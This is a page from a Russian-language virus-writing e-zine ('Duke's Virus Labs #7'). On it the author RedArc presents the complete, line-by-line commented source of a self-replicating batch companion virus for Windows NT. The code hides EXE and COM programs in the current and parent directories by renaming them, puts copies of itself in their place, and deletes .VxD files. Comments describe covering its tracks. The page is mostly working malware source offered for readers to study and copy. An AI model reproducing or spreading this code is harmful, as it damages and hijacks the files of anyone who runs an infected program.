- [Duke's Virus Labs #7] - [Page 04] - BAT.QWERTY.666 (c) by RedArc Это пакетный вирус-компаньон для EXE и COM программ. Я таких вроде бы еще не видел. Инфецирует файлы в текущем каталоге и в родительском. Использует расширенный режим команд, посему работоспособен только под WinNT. Кстати, инфецировать Win32-программы пакетным компаньоном не самое веселое занятие ;) Но ведь и там у нормального пользователя должны быть ДОС-овские программки, которые вызываются не по линкам с рабочего стола... Собственно, это и не боевой вирус, а журнальный. Мне было просто интересно поэкспериментировать, а вам, надеюсь, будет интересно посмотреть на результаты моих экспериментов ;) Итак, попробую прокомментировать код вируса как можно более полно... Но могу где-нибудь и ошибиться. Я не большой знаток скриптов, так что сильно не пинайте. Комментарии буду выделять символами ---> ---> Устанавливаем режим неотображения команд на экране @echo off ---> Проверяем наличие файла, характеризующено ОС Windows NT if not exist c:\ntldr goto Y ---> Если нас запустили без параметров, значит это пользователь ;) if '%1'=='' goto Q ---> А вот если с параметром, то это мы себя запустили сами ---> просто удалим этот параметр shift /1 ---> Уйдем на поиск еще неинфецированных файлов goto W ---> Это просто метка :Q ---> Запуск себя с новой копией интерпритатора команд cmd /X /Q /C %0 WinNT ---> Выключаем расширенный режим команд cmd /Y /C ---> Завершение работы вируса goto Y ---> Это просто метка :W ---> Поиск жертв в текущем каталоге и вызов процедуры инфецирования for %%i in (*.e* *.c*) do call :R %0 %%i %%~ni %%~p0 ---> Проверяем, объявлена ли переменная окружения WNT if defined WNT goto E ---> Если не объявлена - объявляем. Это метка для перехода в родит. каталог set WNT=%0 ---> Переходим в родительский каталог cd .. ---> Инфецируем файлы в родительском каталоге goto W ---> Это просто метка :E ---> Возвращаемся в каталог, из которого стартовали cd %~p0 ---> Вызов процедуры запуска жертвы на исполнение call :T %~n0 ---> Завершаем работу вируса goto Y ---> Это просто метка :R ---> ПРОЦЕДУРА ИНФЕЦИРОВАНИЯ ---> Проверяем найденный файл на наличие саттелита if exist %3.wnt goto Y ---> Переименовываем жертву в файл с расширением wnt ren %2 %3.wnt >nul ---> Копируем данные из файла с вирусом в файл с именем жертвы copy %4%1 %3.bat >nul ---> Выход из подпрограммы goto Y ---> Это просто метка :T ---> ПРОЦЕДУРА ЗАПУСКА ЖЕРТВЫ НА ИСПОЛНЕНИЕ ---> Если есть файл с расширением VxD, то выводим текст и... if exist %1.VxD echo Total destruction ;) Win9x-file-killer ;) ---> ... удаляем этот файл, так как для WinNT он все равно не нужен. if exist %1.VxD del %1.VxD >nul ---> Если файл с расширением EXE есть, то переименовываем его if exist %1.exe ren %1.exe %1.VxD >nul ---> Копируем данные из файла с расширением wnt в файл с расширением exe copy %1.wnt %1.exe >nul ---> исполняем жертву с отдельным интерпритатором cmd /c %1.exe ---> Заметаем следы del %1.exe >nul ---> Опять неадекватно реагируем на расширение VxD if exist %1.VxD echo RedArc represents new companion BAT-virus for WinNT. ---> Заметаем следы if exist %1.VxD ren %1.VxD %1.exe >nul ---> Это не просто метка. Это конец процедур и тела вируса :Y